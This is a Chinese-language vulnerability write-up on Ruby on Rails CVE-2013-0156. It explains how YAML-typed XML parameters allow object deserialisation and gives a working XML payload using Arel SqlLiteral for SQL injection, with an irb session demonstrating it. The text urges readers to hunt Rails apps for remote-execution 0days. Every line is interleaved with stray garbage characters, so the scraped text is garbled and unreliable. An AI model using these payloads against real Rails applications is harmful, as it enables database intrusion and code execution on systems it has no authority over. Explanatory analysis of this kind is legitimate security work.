Author: wofeiwo#80sec.com
6 n" Y: d+ `' |8 g; U. p, N/ h( y. k( C
[4 I7 Y1 Z" b9 v' F3 v+ F3 k( F# k; Y注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
0 f1 I3 ]# L5 M7 q0 x5 X7 v6 ]5 `1 I# L! G4 w7 _) S0 e; b7 B4 s
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
# B+ G" H5 M- A E5 E) q9 B: t9 r
* W" D( Q0 v9 v) A# OCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
8 G3 z) C4 Z. }! n7 B3 _6 s1 n7 I3 I+ a2 h5 h' S& C5 l9 ^( c
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 3 r0 V7 w- t. d( z
) g' j/ e3 j+ S$ o& i<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
( {# z$ j' i) v, Q' ]6 p8 w, a+ @! [& y, T7 {
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. . y% p% d N/ S0 G% K$ j- J
3 u9 x. z8 r% l k' P* \) y0 ~0 C; L
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
' {6 @' g8 l0 O8 y4 G" w* q/ F& [
5 a! O: z* v a" s, [然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
6 A& F3 c4 F( n
, |, z( A. m% K6 T! Y/ }/ M$ i但是等等,还有另一个参数类型,yaml。 6 O5 J H! C" i7 Y5 x9 `; { w' a
- b3 F2 i$ D* ~. z3 D6 uyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
9 ~* r7 I$ @2 v4 X: _
y2 o. D% A0 d' E<test type="yaml">--- !ruby/object:A% y0 g- Z. l5 x j. j1 u' y8 {
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
1 H4 x4 [2 w/ |0 [) c% Q% t7 o. K+ M0 M' q! @. r; H7 Z2 G
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 8 ~; s" ?- b9 ~% p' L
/ w5 M) k- [3 k- j. ]如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
/ v9 Q* b: x8 U/ T$ {/ Z( N% ?7 P- Y, Q% j6 E0 ^
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) 7 e. ?* \ b) J; N3 G
+ ~ ~! g: f! l8 ]. W) x9 Imodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: ) |: D) v, O5 |$ K+ x1 \
! X2 I% t r4 x* x% j<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
$ F3 R# u! B: ~) }1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 # v) `# i' |$ d4 D5 Q5 i
' ~; x( w/ V- [) O) |4 Mirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 ' ]$ t- p+ ^6 \
0 i- l. T9 i9 Y% A* i! A% s7 h, G' P |